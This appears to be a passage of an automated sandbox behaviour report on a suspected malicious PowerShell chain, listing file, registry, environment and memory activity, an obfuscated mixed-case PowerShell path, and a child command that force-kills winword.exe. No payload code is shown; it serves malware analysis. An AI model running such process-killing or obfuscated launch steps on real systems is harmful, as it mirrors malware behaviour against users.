Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml	type = file_type	9	Fn
Get Info	C:\Users\aETAdzjz	type = file_attributes	5	Fn
Get Info	C:\	type = file_attributes	6	Fn
Get Info	C:\Users\aETAdzjz\Desktop	type = file_attributes	7	Fn
Get Info	C:\Users	type = file_attributes	4	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1	type = file_attributes	1	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1	type = file_attributes	1	Fn
Get Info	C:\Users\aETAdzjz\Documents\WindowsPowerShell\profile.ps1	type = file_attributes	1	Fn
Get Info	C:\Users\aETAdzjz\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1	type = file_attributes	1	Fn
Open	STD_INPUT_HANDLE	-	1	Fn
Read	C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml	size = 4096, size_out = 4096	3	Fn Data
Read	C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml	size = 4096, size_out = 3315	1	Fn Data
Read	C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml	size = 781, size_out = 0	1	Fn
Read	C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml	size = 4096, size_out = 0	1	Fn
Read	C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml	size = 4096, size_out = 4096	41	Fn Data
Read	C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml	size = 4096, size_out = 436	1	Fn Data
Read	C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml	size = 4096, size_out = 0	1	Fn
Read	-	size = 4096, size_out = 4096	6	Fn Data
Read	-	size = 4096, size_out = 2530	1	Fn Data
Read	-	size = 542, size_out = 0	1	Fn
Read	-	size = 4096, size_out = 0	1	Fn
Read	C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml	size = 4096, size_out = 4096	101	Fn Data
Read	C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml	size = 4096, size_out = 4018	1	Fn Data
Read	C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml	size = 78, size_out = 0	1	Fn
Read	C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml	size = 4096, size_out = 0	7	Fn
Read	C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml	size = 4096, size_out = 2762	1	Fn Data
Read	C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml	size = 310, size_out = 0	1	Fn
Read	C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml	size = 4096, size_out = 3022	1	Fn Data
Read	C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml	size = 50, size_out = 0	1	Fn
Read	C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml	size = 4096, size_out = 281	1	Fn Data
Read	C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml	size = 4096, size_out = 3687	1	Fn Data
Read	C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml	size = 409, size_out = 0	1	Fn
Read	C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml	size = 4096, size_out = 2228	1	Fn Data
Read	C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml	size = 844, size_out = 0	1	Fn
Read	C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml	size = 4096, size_out = 3736	1	Fn Data
Read	C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml	size = 360, size_out = 0	1	Fn

Registry (188)

Operation	Key	Additional Information	Count	Logfile
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment	-	1	Fn
Open Key	HKEY_CURRENT_USER\Environment	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	-	2	Fn
Open Key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	-	9	Fn
Open Key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\PowerShell	-	4	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents\PowerShell	-	4	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer\PowerShell	-	4	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service\PowerShell	-	4	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center\PowerShell	-	4	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts\PowerShell	-	4	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security	-	4	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\PowerShell	-	4	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	-	2	Fn
Open Key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds	-	1	Fn
Read Value	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	value_name = ApplicationBase, data = 0, type = REG_SZ	1	Fn
Read Value	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ	1	Fn
Read Value	HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment	value_name = PSMODULEPATH, data = 0, type = REG_EXPAND_SZ	1	Fn
Read Value	HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment	value_name = PSMODULEPATH, data = %SystemRoot%\system32\WindowsPowerShell\v1.0\Modules\, type = REG_EXPAND_SZ	1	Fn
Read Value	HKEY_CURRENT_USER\Environment	value_name = PSMODULEPATH, type = REG_NONE	1	Fn
Read Value	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell	value_name = path, data = 0, type = REG_SZ	2	Fn
Read Value	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell	value_name = path, data = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, type = REG_SZ	1	Fn
Read Value	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	value_name = ApplicationBase, data = 0, type = REG_SZ	2	Fn
Read Value	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ	2	Fn
Read Value	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell	value_name = path, data = 0, type = REG_SZ	2	Fn
Read Value	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell	value_name = path, data = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, type = REG_SZ	1	Fn
Read Value	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	value_name = ApplicationBase, data = 0, type = REG_SZ	9	Fn
Read Value	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ	9	Fn
Read Value	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN	value_name = StackVersion, data = 0, type = REG_SZ	1	Fn
Read Value	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN	value_name = StackVersion, data = 2.0, type = REG_SZ	1	Fn
Read Value	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN	value_name = StackVersion, data = 0, type = REG_SZ	1	Fn
Read Value	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN	value_name = StackVersion, data = 2.0, type = REG_SZ	1	Fn
Read Value	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	value_name = ApplicationBase, data = 0, type = REG_SZ	1	Fn
Read Value	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ	1	Fn
Read Value	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	value_name = ApplicationBase, data = 0, type = REG_SZ	2	Fn
Read Value	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ	2	Fn
Read Value	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds	value_name = PipelineMaxStackSizeMB, type = REG_NONE	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Values	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN	-	1	Fn
Enumerate Values	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN	-	1	Fn
Enumerate Values	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN	-	1	Fn
Enumerate Values	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN	-	1	Fn
Enumerate Values	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN	-	1	Fn
Enumerate Values	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN	-	1	Fn
Get Key Info	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN	-	1	Fn
Get Key Info	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN	-	1	Fn
Get Key Info	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Get Key Info	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Get Key Info	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Get Key Info	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn

Module (1)

Operation	Module	Additional Information	Success	Count	Logfile
Get Filename	-	process_name = c:\windows\system32\mobsync.exe, file_name_orig = C:\Windows\SYSteM32\windowspOweRSHeLL\V1.0\PoWErSHELL.Exe, size = 2048		1	Fn

System (6)

Operation	Additional Information	Count	Logfile
Get Info	type = Operating System	4	Fn
Get Info	type = SYSTEM_PROCESS_INFORMATION	1	Fn
Get Info	type = Hardware Information	1	Fn

Environment (118)

Operation	Additional Information	Count	Logfile
Get Environment String	name = MshEnableTrace	110	Fn
Get Environment String	name = PSMODULEPATH, result_out = C:\Windows\system32\WindowsPowerShell\v1.0\Modules\	1	Fn
Get Environment String	name = HOMEDRIVE, result_out = C:	1	Fn
Get Environment String	name = HOMEPATH, result_out = \Users\aETAdzjz	1	Fn
Get Environment String	name = HomeDrive, result_out = C:	1	Fn
Get Environment String	name = HomePath, result_out = \Users\aETAdzjz	1	Fn
Get Environment String	name = APPDATA, result_out = C:\Users\aETAdzjz\AppData\Roaming	2	Fn
Set Environment String	name = PSMODULEPATH, value = C:\Users\aETAdzjz\Documents\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules\	1	Fn

Process #11: taskkill.exe'

Information	Value
ID	#11
File Name	c:\windows\system32\taskkill.exe
Command Line	"C:\Windows\system32\taskkill.exe" /f /im winword.exe
Initial Working Directory	C:\Users\aETAdzjz\Desktop\
Monitor	Start Time: 00:01:23, Reason: Child Process
Unmonitor	End Time: 00:02:36, Reason: Terminated by Timeout
Monitor Duration	00:01:13
Remarks	No high level activity detected in monitored regions

OS Process Information

Information	Value
PID	0x5f4
Parent PID	0x2ac (c:\windows\system32\windowspowershell\v1.0\powershell.exe)
Is Created or Modified Executable
Integrity Level	Medium
Username	YKYD69Q\aETAdzjz
Groups	YKYD69Q\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) BUILTIN\Administrators (USE_FOR_DENY_ONLY) BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\Logon Session 00000000:00010989 (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID) LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges	SeChangeNotifyPrivilege
Thread IDs	0x AD0 0x B10 0x 5F8 0x B38 0x B34

Region

Name	Start VA	End VA	Type	Permissions	Actions
private_0x0000000000010000	0x00010000	0x0002ffff	Private Memory	Readable, Writable	Region Actions
pagefile_0x0000000000010000	0x00010000	0x0001ffff	Pagefile Backed Memory	Readable, Writable	Region Actions
pagefile_0x0000000000020000	0x00020000	0x0002ffff	Pagefile Backed Memory	Readable, Writable	Region Actions
pagefile_0x0000000000030000	0x00030000	0x00033fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000000040000	0x00040000	0x00040fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000000050000	0x00050000	0x00056fff	Pagefile Backed Memory	Readable	Region Actions
private_0x0000000000060000	0x00060000	0x0015ffff	Private Memory	Readable, Writable	Region Actions
pagefile_0x0000000000160000	0x00160000	0x00161fff	Pagefile Backed Memory	Readable, Writable	Region Actions
taskkill.exe.mui	0x00170000	0x00173fff	Memory Mapped File	Readable, Writable	Region Actions
private_0x0000000000180000	0x00180000	0x00180fff	Private Memory	Readable, Writable	Region Actions
private_0x0000000000190000	0x00190000	0x0020ffff	Private Memory	Readable, Writable	Region Actions
locale.nls	0x00210000	0x00276fff	Memory Mapped File	Readable	Region Actions
private_0x0000000000280000	0x00280000	0x00280fff	Private Memory	Readable, Writable	Region Actions
pagefile_0x0000000000290000	0x00290000	0x00290fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x00000000002a0000	0x002a0000	0x002a0fff	Pagefile Backed Memory	Readable	Region Actions
private_0x00000000002b0000	0x002b0000	0x002bffff	Private Memory	Readable, Writable	Region Actions
private_0x00000000002c0000	0x002c0000	0x003bffff	Private Memory	Readable, Writable	Region Actions
pagefile_0x00000000003c0000	0x003c0000	0x00547fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000000550000	0x00550000	0x006d0fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x00000000006e0000	0x006e0000	0x01adffff	Pagefile Backed Memory	Readable	Region Actions
private_0x0000000001b00000	0x01b00000	0x01b7ffff	Private Memory	Readable, Writable	Region Actions
kernelbase.dll.mui	0x01b80000	0x01c3ffff	Memory Mapped File	Readable, Writable	Region Actions
private_0x0000000001c80000	0x01c80000	0x01cfffff	Private Memory	Readable, Writable	Region Actions
private_0x0000000001d20000	0x01d20000	0x01d9ffff	Private Memory	Readable, Writable	Region Actions
private_0x0000000001e30000	0x01e30000	0x01eaffff	Private Memory	Readable, Writable	Region Actions
sortdefault.nls	0x01eb0000	0x0217efff	Memory Mapped File	Readable	Region Actions
user32.dll	0x775e0000	0x776d9fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
kernel32.dll	0x776e0000	0x777fefff	Memory Mapped File	Readable, Writable, Executable	Region Actions
ntdll.dll	0x77800000	0x779a8fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
private_0x000000007efe0000	0x7efe0000	0x7ffdffff	Private Memory	Readable	Region Actions
pagefile_0x000000007efe0000	0x7efe0000	0x7f0dffff	Pagefile Backed Memory	Readable	Region Actions
private_0x000000007f0e0000	0x7f0e0000	0x7ffdffff	Private Memory	Readable	Region Actions
private_0x000000007ffe0000	0x7ffe0000	0x7ffeffff	Private Memory	Readable	Region Actions
taskkill.exe	0xff2a0000	0xff2befff	Memory Mapped File	Readable, Writable, Executable	Region Actions
dbghelp.dll	0x7fee02f0000	0x7fee0414fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
framedynos.dll	0x7fef1d30000	0x7fef1d7bfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
wbemprox.dll	0x7fef50d0000	0x7fef50defff	Memory Mapped File	Readable, Writable, Executable	Region Actions
wbemcomn.dll	0x7fef5240000	0x7fef52c5fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
mpr.dll	0x7fef9730000	0x7fef9747fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
wkscli.dll	0x7fefbb00000	0x7fefbb14fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
netutils.dll	0x7fefbb20000	0x7fefbb2bfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
netapi32.dll	0x7fefbb30000	0x7fefbb45fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
wtsapi32.dll	0x7fefbec0000	0x7fefbed0fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
version.dll	0x7fefc910000	0x7fefc91bfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
rsaenh.dll	0x7fefcd40000	0x7fefcd86fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
cryptsp.dll	0x7fefd040000	0x7fefd056fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
srvcli.dll	0x7fefd540000	0x7fefd562fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
secur32.dll	0x7fefd5e0000	0x7fefd5eafff	Memory Mapped File	Readable, Writable, Executable	Region Actions
sspicli.dll	0x7fefd610000	0x7fefd634fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
cryptbase.dll	0x7fefd640000	0x7fefd64efff	Memory Mapped File	Readable, Writable, Executable	Region Actions
winsta.dll	0x7fefd6f0000	0x7fefd72cfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
rpcrtremote.dll	0x7fefd730000	0x7fefd743fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
kernelbase.dll	0x7fefd9d0000	0x7fefda3afff	Memory Mapped File	Readable, Writable, Executable	Region Actions
imm32.dll	0x7fefdb40000	0x7fefdb6dfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
msvcrt.dll	0x7fefdd50000	0x7fefddeefff	Memory Mapped File	Readable, Writable, Executable	Region Actions
oleaut32.dll	0x7fefde70000	0x7fefdf46fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
lpk.dll	0x7fefdf50000	0x7fefdf5dfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
ole32.dll	0x7fefe1c0000	0x7fefe3c2fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
clbcatq.dll	0x7fefe550000	0x7fefe5e8fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
ws2_32.dll	0x7fefe5f0000	0x7fefe63cfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
